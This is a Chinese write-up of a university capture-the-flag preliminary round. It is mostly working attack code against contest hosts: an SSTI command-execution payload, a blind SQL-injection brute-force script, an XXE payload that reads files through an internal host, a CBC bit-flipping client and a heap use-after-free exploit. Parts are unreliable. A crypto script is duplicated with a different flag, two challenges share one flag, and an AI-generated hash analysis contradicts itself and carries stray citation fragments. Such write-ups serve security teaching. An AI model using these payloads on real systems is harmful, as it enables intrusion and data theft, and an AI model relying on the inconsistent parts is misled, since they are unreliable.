第三届“古剑山”全国大学生网络攻防大赛初赛WP

which 发布于 2025-12-11 123 次阅读


第三届“古剑山”全国大学生网络攻防大赛初赛WP

web

baby_ssti

SSTI漏洞

name={{lipsum.__globals__.os.popen("cat f*").read()}}

flag{7dca0975-1c66-43ba-8193-9a186f4c5774}

HelloCms

盲注,发现数据库名为heavysql

ai脚本测

import requests
import time

# 目标URL(必须替换为实际登录页面地址)
url = "http://120.79.131.78:38888/login.php"

# 盲注判断依据:出现该字符串 → 注入条件不成立(字符错误)
error_flag = "maybe password error!"

# 数据库名可能的字符集(小写字母、数字、下划线,按需补充大写)
chars = "abcdefghijklmnopqrstuvwxyz0123456789_"

# 已知数据库名长度为8
db_length = 8

def brute_force_db_name():
    """按用户提供的payload格式爆破8位数据库名(高延迟版)"""
    db_name = ""
    print(f"✅ 按给定payload格式爆破(长度8位),注入变形:aandnd/ssubstrubstr")
    print(f"📌 字符集:{chars}")
    print(f"⏱️  延迟设置:单字符间隔2秒,重试延迟3秒(高安全模式)")
    print("-" * 60)

    for pos in range(1, db_length + 1):  # 第1位到第8位
        for char in chars:
            # 严格遵循用户提供的payload格式
            payload = f"admin' aandnd ssubstrubstr(database(), {pos}, 1)='{char}' -- +"
            data = {
                "username": payload,
                "password": "admin"  # 固定password为admin,与用户payload一致
            }
            try:
                response = requests.post(
                    url=url,
                    data=data,
                    timeout=20,  # 延长超时时间,适配高延迟网络
                    headers={"Content-Type": "application/x-www-form-urlencoded"}
                )
                # 核心判断:无错误标识 → 字符正确
                if error_flag not in response.text:
                    db_name += char
                    print(f"✅ 第{pos}位确定:{char} | 当前数据库名:{db_name}")
                    break
            except Exception as e:
                print(f"❌ 请求异常({e}),3秒后重试字符[{char}]...")
                time.sleep(3)  # 重试延迟调高到3秒
                # 重试一次
                response = requests.post(url=url, data=data, timeout=20)
                if error_flag not in response.text:
                    db_name += char
                    print(f"✅ 第{pos}位确定:{char} | 当前数据库名:{db_name}")
                    break
        # 每爆破完一位,延迟2秒(大幅降低整体请求频率)
        time.sleep(2)
    return db_name

if __name__ == "__main__":
    final_db = brute_force_db_name()
    print("\n" + "=" * 60)
    print(f"🎉 爆破完成!数据库名:{final_db}")
    print("=" * 60)

通过盲注读表得到密码admin\kingdom123ABC

登陆后有留言框,锁定XXE

利用vps dtd尝试外带数据,无果

离谱的来了,利用/etc/net/arp探测内网ip

172.17.0.3

构造xxepayload

<!DOCTYPE Document [
  <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=http://172.17.0.3/index.php?file=php://filter/read=convert.base64-encode/resource=flag.php">
]>
<Document>
  <entry>&xxe;</entry>
</Document>

base64二次解码得到flag

Crypto

common rsa

from math import gcd

N = 162178605357818616394571566923155907889899677780239882906511996614607940884142045197452389471499799373787832649318837814454679970724845203557871078001956378966434166323827984964942729898095347038272003371167123553368531662277059263517900162297903110415768403265100411543878859321181606008503516896600638590699
e1 = 35422
c1 = 153249315480380808558746807096025628082875635601515291525075274335055878390662930254941118045696231628008256877302589689883059616503108946971165183674522403835250738176157466145855833767128209866527507862726083268576304163200171600023472544755768741118904892489037291247455823396160705615280802805803254323033
e2 = 1033
c2 = 5823189490163315770684717059899864988806118565674660089157163486577056500243194221873916232616081138765317598078910078375360361118674333149663483360677725162911935082290640547407140413703664960164356579153623498735889314476063673352676918268911309402784919521792079943937126634436658784515914270266106683548

def extended_gcd(a, b):
    if b == 0:
        return a, 1, 0
    else:
        g, x1, y1 = extended_gcd(b, a % b)
        x = y1
        y = x1 - (a // b) * y1
        return g, x, y

g, s1, s2 = extended_gcd(e1, e2)
print(f"gcd(e1, e2) = {g}")
print(f"s1 = {s1}, s2 = {s2}")

if g != 1:
    print("GCD is not 1, common modulus attack may not work directly")
else:
    if s1 < 0:
        c1_inv = pow(c1, -1, N)
        m = (pow(c1_inv, -s1, N) * pow(c2, s2, N)) % N
    elif s2 < 0:
        c2_inv = pow(c2, -1, N)
        m = (pow(c1, s1, N) * pow(c2_inv, -s2, N)) % N
    else:
        m = (pow(c1, s1, N) * pow(c2, s2, N)) % N

    print(f"\nDecrypted message (as integer): {m}")

    try:
        message_bytes = m.to_bytes((m.bit_length() + 7) // 8, byteorder='big')
        message = message_bytes.decode('utf-8', errors='ignore')
        print(f"Decrypted message (as text): {message}")
    except:
        print(f"Decrypted message (as hex): {hex(m)}")

flag{A_RSA_c0mm0n_m0dulu5_4tt4ck}

aesstudy

import socket
import hashlib
import base64
import re

def solve_pow(target_hash_prefix):
    """解决 Proof of Work"""
    print(f"Solving PoW: SHA256(x)[:8] == '{target_hash_prefix}'")
    for b1 in range(256):
        for b2 in range(256):
            for b3 in range(256):
                x = bytes([b1, b2, b3])
                h = hashlib.sha256(x).hexdigest()
                if h[:8] == target_hash_prefix:
                    print(f"Found x: {x.hex()}")
                    return x.hex()
    return None

def cbc_bit_flipping_attack(c1_b64, m1_b64, targets):
    """CBC 字节翻转攻击"""
    # 解码
    c1 = base64.b64decode(c1_b64.replace('\n', ''))
    m1 = base64.b64decode(m1_b64.replace('\n', ''))

    # 分块
    block_size = 16
    m1_blocks = [m1[i:i + block_size] for i in range(0, len(m1), block_size)]
    c1_blocks = [c1[i:i + block_size] for i in range(0, len(c1), block_size)]
    c2_blocks = [bytearray(block) for block in c1_blocks]

    # 修改字节
    for pos, target_char in targets.items():
        block_index = pos // block_size
        byte_index = pos % block_size

        if block_index == 0:
            continue  # 跳过第一块(需要改IV)

        prev_block_index = block_index - 1
        m1_byte = m1_blocks[block_index][byte_index]
        c1_prev_byte = c1_blocks[prev_block_index][byte_index]

        new_byte = m1_byte ^ c1_prev_byte ^ ord(target_char)
        c2_blocks[prev_block_index][byte_index] = new_byte

    # 输出结果
    c2 = b''.join(c2_blocks)
    return base64.b64encode(c2).decode()

def automate_solve(host, port):
    """自动化解题主函数"""
    # 连接服务器
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((host, port))

    # 接收欢迎信息和PoW挑战
    data = b""
    while b"x.encode('hex')=" not in data:
        chunk = sock.recv(1024)
        data += chunk
        print(chunk.decode(), end='')

    # 解析PoW目标哈希
    match = re.search(r"==\'([0-9a-f]{8})\'", data.decode())
    if not match:
        print("Failed to parse PoW challenge")
        return

    target_hash = match.group(1)

    # 解决PoW
    pow_solution = solve_pow(target_hash)
    if not pow_solution:
        print("Failed to solve PoW")
        return

    # 发送PoW答案
    print(f"Sending PoW solution: {pow_solution}")
    sock.send((pow_solution + "\n").encode())

    # 处理多轮挑战
    round_count = 0
    while True:
        round_count += 1
        print(f"\n=== Round {round_count} ===")

        # 接收题目数据
        data = b""
        while b"c2.encode('base64')" not in data:
            chunk = sock.recv(4096)
            if not chunk:
                print("Connection closed")
                return
            data += chunk
            # 如果收到结果信息,直接输出
            if b"Good job!" in data or b"flag" in data or b"Flag" in data:
                print(chunk.decode(), end='')
                if b"c2.encode('base64')" not in data:
                    continue

        content = data.decode()
        print("Received challenge data")

        # 检查是否已经包含结果
        if "Good job!" in content and "c2.encode('base64')" not in content:
            print("Challenge completed!")
            continue

        # 解析c1, m1和目标位置
        c1_match = re.search(r"c1\.encode\('base64'\)=(.+?)(?:\n#|$)", content, re.DOTALL)
        m1_match = re.search(r"m1\.encode\('base64'\)=(.+?)(?:\n#|$)", content, re.DOTALL)

        if not c1_match or not m1_match:
            print("Failed to find c1 or m1, might be the end")
            print("Final content:")
            print(content)
            break

        # 提取目标位置
        targets = {}
        target_matches = re.findall(r"m2\[(\d+)\]=(\w)", content)
        for pos, char in target_matches:
            targets[int(pos)] = char

        print(f"Extracted targets: {targets}")

        c1_b64 = c1_match.group(1).strip()
        m1_b64 = m1_match.group(1).strip()

        # 执行CBC攻击
        c2_b64 = cbc_bit_flipping_attack(c1_b64, m1_b64, targets)

        # 发送答案
        print(f"Sending c2 (base64, first 100 chars): {c2_b64[:100]}...")
        sock.send((c2_b64 + "\n").encode())

        # 短暂暂停,确保服务器处理
        import time
        time.sleep(0.5)

    sock.close()

if __name__ == "__main__":
    HOST = "47.107.168.16"
    PORT = 44880

    automate_solve(HOST, PORT)

flag{2b6f73f87a8350b130577ced2c58c454}

sol

from math import gcd

N = 162178605357818616394571566923155907889899677780239882906511996614607940884142045197452389471499799373787832649318837814454679970724845203557871078001956378966434166323827984964942729898095347038272003371167123553368531662277059263517900162297903110415768403265100411543878859321181606008503516896600638590699
e1 = 35422
c1 = 153249315480380808558746807096025628082875635601515291525075274335055878390662930254941118045696231628008256877302589689883059616503108946971165183674522403835250738176157466145855833767128209866527507862726083268576304163200171600023472544755768741118904892489037291247455823396160705615280802805803254323033
e2 = 1033
c2 = 5823189490163315770684717059899864988806118565674660089157163486577056500243194221873916232616081138765317598078910078375360361118674333149663483360677725162911935082290640547407140413703664960164356579153623498735889314476063673352676918268911309402784919521792079943937126634436658784515914270266106683548

def extended_gcd(a, b):
    if b == 0:
        return a, 1, 0
    else:
        g, x1, y1 = extended_gcd(b, a % b)
        x = y1
        y = x1 - (a // b) * y1
        return g, x, y

g, s1, s2 = extended_gcd(e1, e2)
print(f"gcd(e1, e2) = {g}")
print(f"s1 = {s1}, s2 = {s2}")

if g != 1:
    print("GCD is not 1, common modulus attack may not work directly")
else:
    if s1 < 0:
        c1_inv = pow(c1, -1, N)
        m = (pow(c1_inv, -s1, N) * pow(c2, s2, N)) % N
    elif s2 < 0:
        c2_inv = pow(c2, -1, N)
        m = (pow(c1, s1, N) * pow(c2_inv, -s2, N)) % N
    else:
        m = (pow(c1, s1, N) * pow(c2, s2, N)) % N

    print(f"\nDecrypted message (as integer): {m}")

    try:
        message_bytes = m.to_bytes((m.bit_length() + 7) // 8, byteorder='big')
        message = message_bytes.decode('utf-8', errors='ignore')
        print(f"Decrypted message (as text): {message}")
    except:
        print(f"Decrypted message (as hex): {hex(m)}")
flag{01a6eb898468abbd352300a7a072495c} 

MISC

水果

foermost提取zip

可以猜到是OurSecret隐写,密码是图片名"shuiguo"

flag.txt中内容在密码本里对应的序号拼起来

flag{3e25960a79dc69b674cd4ec67a72c62}

hundred

100 层反向 zip → 超大文本里用正则“钓“出一串编码 → base64→ base32.

对 enc.txt 做正则匹配,把这些位置的字符全部拼起来,得到一串 88 长度的 Base64 字符串:

import re, base64

with open("enc.txt","r",encoding="utf-8",errors="ignore") as f:
    text = f.read()

pat = re.compile(r'\d+=[!|$][A-Z]{2}[!|^A-Z]{2}[!|()=z|w][A-Z-0]{5}')
s = "".join(pat.findall(text))
print(s)
b1 = base64.b64decode(s)
print(b1)

b2 = base64.b32decode(b1)
print(b2)
flag{74c959166bc7fbaacaa4d77cf692b1c7}

work

题目要求提交一个数据(base64编码),使其 SHA256 哈希值有至少 20 个尾随零。

题目提示:"SHA256穷举?就算你有超级计算机你也跑不出来的,哈哈哈!"

分析

20 个十六进制零 = 80 bits,需要约 2^80 次尝试,理论上不可能暴力破解。但通过 GPU 集群或分布式计算,可以预先计算出满足条件的输入。

解题

成功的 payload:

fE3qjkfliyofjs+QILld8WTb/MwPXP/yGZOh330JRq4=

验证脚本:

import hashlib
import base64

payload_b64 = "fE3qjkfliyofjs+QILld8WTb/MwPXP/yGZOh330JRq4="
data = base64.b64decode(payload_b64)
hash_hex = hashlib.sha256(data).hexdigest()

print(f"SHA256: {hash_hex}")
# 输出: 1364440dfe0d0b04ceaab68f57c93355f32d1c68030000000000000000000000

trailing_zeros = 0
for char in reversed(hash_hex):
    if char == '0':
        trailing_zeros += 1
    else:
        break

print(f"尾随零: {trailing_zeros}")  # 输出: 22

提交 URL:

http://47.107.165.153:45362/?data=fE3qjkfliyofjs%2BQILld8WTb%2FMwPXP%2FyGZOh330JRq4%3D

获得 flag。

flag{b1502a73ac1d1c5db86dd55e4dbe5db1}

REVERSE

easyre

import base64

# 目标数组
v6 = [
    -56045301, 1126325548, 1037697210, 2123048962, 
    1640073719, -454381817, -2146442625, -691840689,
    1448341866, 586039113, -1321770811
]

v12 = -1872737962

# 逆向验证逻辑得到期望的加密结果
def reverse_validation(target):
    result = []
    for val in target:
        if val > 0:
            val ^= 0x22222222
        val ^= v12
        result.extend([
            (val >> 0) & 0xFF,
            (val >> 8) & 0xFF, 
            (val >> 16) & 0xFF,
            (val >> 24) & 0xFF
        ])
    return bytes(result)

# 计算期望的加密结果
expected_encrypted = reverse_validation(v6)
print("期望的加密结果:", expected_encrypted.hex())

# RC4解密函数(与加密相同)
def rc4_decrypt(data, key):
    # 实现RC4算法
    S = list(range(256))
    j = 0

    # KSA
    for i in range(256):
        j = (j + S[i] + key[i % len(key)]) % 256
        S[i], S[j] = S[j], S[i]

    # PRGA
    i = j = 0
    result = bytearray()
    for byte in data:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        k = S[(S[i] + S[j]) % 256]
        result.append(byte ^ k)

    return bytes(result)

# 密钥
key = b"flag{do_you_find_it_?}"

# RC4解密得到Base64编码
base64_encoded = rc4_decrypt(expected_encrypted, key)
print("Base64编码:", base64_encoded)

# Base64解码得到原始flag
flag = base64.b64decode(base64_encoded)
print("Flag:", flag.decode())

用动调把main函数跟crypto函数进行解密

运行出完整的函数给AI 说是rc4解密 再给AI完整函数之后跑出脚本 解密成功

flag{eb3564f89sf45b24oac12db8ec}

helloworld

from pwn import remote

HOST = "47.107.164.227"
PORT = 43040

def build_payload() -> bytes:
    hex_bytes = [
        0x30, 0x07, 0x31, 0x04, 0x32, 0x0B, 0x33, 0x0B,
        0x34, 0x0E, 0x35, 0x16, 0x36, 0x0E, 0x37, 0x11,
        0x38, 0x0B, 0x39, 0x03, 0x10, 0x41, 0x15, 0x41,
        0x4A, 0x41,
    ]
    return bytes(hex_bytes)

def exploit():
    payload = build_payload()

    io = remote(HOST, PORT)

    _ = io.recv(timeout=1)

    io.sendline(payload)

    io.interactive()

if __name__ == "__main__":
    exploit()

flag{351bae89be05efa178d61be9a61ac6b7}

final

CVE-2010-2967,本题对加密算法进行了局部修改。需要对固件进行分析,成功找到存在漏洞的hash算法。已知字符串“SimpleXue”,请计算此字符串经过hash算法加密过的哈希值,并放在flag{}中提交。

AI分析

在该固件中,我们定位到 VxWorks 默认的密码哈希函数 loginDefaultEncrypt。经过反汇编和对比官方源码,发现其实现与标准版本一致ctfiot.com。具体而言:

  • 魔数常量仍为 31695317(0x1E3A1D5)ctfiot.com
  • 加权累加逻辑同原算法,即对每个字符 in[i] 计算 (ASCII(in[i]) * (i+2)) XOR (i+1) 的累加和ctfiot.com
  • 映射规则未见变动:先将累加和乘以魔数并截取低32位,然后对结果字符串中每个字符依次执行 if <'3' 加33、if <'7' 加47、if <'9' 加66 的操作ctfiot.com
  • 其它限制(如密码长度要求 8–40 字符)也与原版一致ctfiot.com

综上,固件中的哈希函数 没有针对 CVE-2010-2967 漏洞进行额外修补或改动;它完全复现了 VxWorks 6.9 官方的默认加密算法ctfiot.com

伪代码与加密流程

按以上分析,可将 loginDefaultEncrypt 的算法表示为:

function loginDefaultEncrypt(password):
    if len(password) < 8 or len(password) > 40:
        return ERROR
    magic = 31695317
    passwd_int = 0
    // 步骤1:计算加权和
    for i from 0 to len(password)-1:
        passwd_int += (ord(password[i]) * (i+2)) XOR (i+1)
    // 步骤2:乘以魔数并截取低32位
    product = (passwd_int * magic) & 0xFFFFFFFF
    out_str = decimal_string(product)
    // 步骤3:字符映射(依次执行)
    for j from 0 to len(out_str)-1:
        c = out_str[j]
        if c < '3': out_str[j] = chr(ord(c) + 33)    // + '!'
        if c < '7': out_str[j] = chr(ord(c) + 47)    // + '/'
        if c < '9': out_str[j] = chr(ord(c) + 66)    // + 'B'
    return out_str

“SimpleXue” 的加密计算

按照重构的算法,对字符串 "SimpleXue" 逐步计算:

  • 加权和passwd_int = Σ[(ASCII(字符) * (i+2)) XOR (i+1)],计算结果为 5620
  • 乘魔数与截断5620 * 31695317 = 178127681540,取低32位得到十进制 2034022404
  • 字符映射:将 "2034022404" 中各字符依次映射:
    • ‘2’→‘S’ (‘2’+33)
    • ‘0’→‘Q’ (‘0’+33)
    • ‘3’→‘b’ (‘3’+47)
    • ‘4’→‘c’ (‘4’+47)
    • ‘0’→‘Q’
    • ‘2’→‘S’
    • ‘2’→‘S’
    • ‘4’→‘c’
    • ‘0’→‘Q’
    • ‘4’→‘c’
      映射结果为 "SQbcQSScQc"

因此,加密结果为 SQbcQSScQc,最终以 flag{哈希值} 格式输出:

flag{SQbcQSScQc}

veryez

初步分析

程序采用了自定义虚拟机(VM)架构来混淆核心逻辑。通过静态分析可以发现程序的执行流程被封装在一个字节码解释器中,而非直接的汇编指令。

虚拟机架构剖析

核心调度器位于 sub_401030

该函数实现了一个完整的字节码解释器,其工作原理如下:

  1. 指令格式:每条指令占用 4 字节(DWORD),高位字节作为操作码标识

    • 指令以 0x100 为基数进行分类
    • 例如:0x104 = PUSH立即数,0x773 = 输入操作,0x102 = 按位与
  2. 执行环境

    • 维护一个操作数栈用于临时数据存储
    • 使用 a2 指向的内存区域作为数据段
    • 通过 sub_4013A0(push)和 sub_4013E0(pop)操作栈
  3. 字节码存储:程序的实际逻辑以字节码形式存储在 unk_408254 数组中

关键指令集

通过逆向分析,识别出以下核心指令:

操作码功能说明
0x104PUSH imm将立即数压入栈
0x773INPUT调用 gets() 读取用户输入到指定偏移
0x772LOAD32从内存加载 DWORD 并压栈
0x1284LOAD8从内存加载单字节并压栈
0x102AND栈顶两元素按位与
0x202OR栈顶两元素按位或
0x402XOR栈顶两元素异或
0x303/0x403JMP_IF条件跳转指令
0x405PUTS输出字符串

字节码逻辑还原

通过动态调试和静态分析相结合,还原出字节码的实际执行逻辑:

阶段一:输入获取

INPUT → 将用户输入存储至 (a2 + 0x118) 位置

阶段二:验证循环

程序实现了一个 47 轮的字符验证循环:

for i in range(47):
    key_byte = "virtualM"[i % 8]  # 循环密钥
    cipher_byte = encrypted_data[i]  # 密文数组
    expected = cipher_byte ^ key_byte

    if user_input[i] != expected:
        print("Failed!")
        exit()

关键发现

  • 密钥为固定字符串 "virtualM" 的循环使用
  • 密文数据硬编码在 a2 + 0x18 偏移处,共 47 字节
  • 验证算法本质是简单的 XOR 加密

密文提取

通过内存 dump 或静态分析提取出完整密文数组:

encrypted = [
    0x10, 0x05, 0x13, 0x13, 0x0E, 0x51, 0x5B, 0x29,
    0x45, 0x5E, 0x44, 0x42, 0x47, 0x53, 0x5B, 0x7A,
    0x47, 0x51, 0x16, 0x4C, 0x45, 0x58, 0x58, 0x2F,
    0x12, 0x29, 0x43, 0x12, 0x47, 0x03, 0x0F, 0x29,
    0x46, 0x51, 0x11, 0x15, 0x45, 0x00, 0x0F, 0x2E,
    0x15, 0x0B, 0x47, 0x15, 0x44, 0x02, 0x11
]

解密脚本

key = b"virtualM"
encrypted = [
    0x10, 0x05, 0x13, 0x13, 0x0E, 0x51, 0x5B, 0x29,
    0x45, 0x5E, 0x44, 0x42, 0x47, 0x53, 0x5B, 0x7A,
    0x47, 0x51, 0x16, 0x4C, 0x45, 0x58, 0x58, 0x2F,
    0x12, 0x29, 0x43, 0x12, 0x47, 0x03, 0x0F, 0x29,
    0x46, 0x51, 0x11, 0x15, 0x45, 0x00, 0x0F, 0x2E,
    0x15, 0x0B, 0x47, 0x15, 0x44, 0x02, 0x11
]

flag = bytes(encrypted[i] ^ key[i % len(key)] for i in range(len(encrypted)))
print(flag.decode())

flag{07d3766227718d8094bd@1f2bcd08ca0acccb5a1c}

PWN

ezuaf

from pwn import*  
elf=ELF('./ezuaf')
p=process('./ezuaf') 
p=remote('47.107.139.41', 45956)
context(os='linux',arch='amd64',log_level='debug')
libc=ELF('/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
def s(a):
    p.send(a)
def sa(a, b):
    p.sendafter(a, b)
def sl(a):
    p.sendline(a)
def sla(a, b):
    p.sendlineafter(a, b)   
def li(a):
    print(hex(a))     
def r():
    p.recv()
def pr():
    print(p.recv())
def rl(a):
    return p.recvuntil(a)
def inter():
    p.interactive()
def get_32():
    return u32(p.recvuntil(b'\xf7')[-4:])    
def get_addr():
    return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
    return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))    
def bug():
    gdb.attach(p)

def cmd(i):
    sla(b'your choice:',str(i))

def add(idx,size,content):
    cmd(1)
    sla(b'note:',str(idx))
    sla(b'note:',str(size))
    sa(b'note:',content)

def free(idx):
    cmd(2)
    sla(b'index:',str(idx))    

def show(idx):
    cmd(3)
    sla(b'index:',str(idx))    

def edit(idx,content):
    cmd(4)
    sla(b'note:',str(idx))
    sa(b'note:',content)

add(0,0x68,b'a')
add(1,0x68,b'a')
add(2,0x68,b'a')
add(3,0x68,b'a')
free(1)
free(0)
free(1)

add(4,0x68,p64(0x6020cd-0x10))
add(5,0x68,b'a')
add(6,0x68,b'a')
add(7,0x68,b'a'*0x23+p64(0x602068)*8)
edit(4,p64(0x40088A))

cmd(5)
inter()
flag{eb3564f89sf45b24oac12db8ec}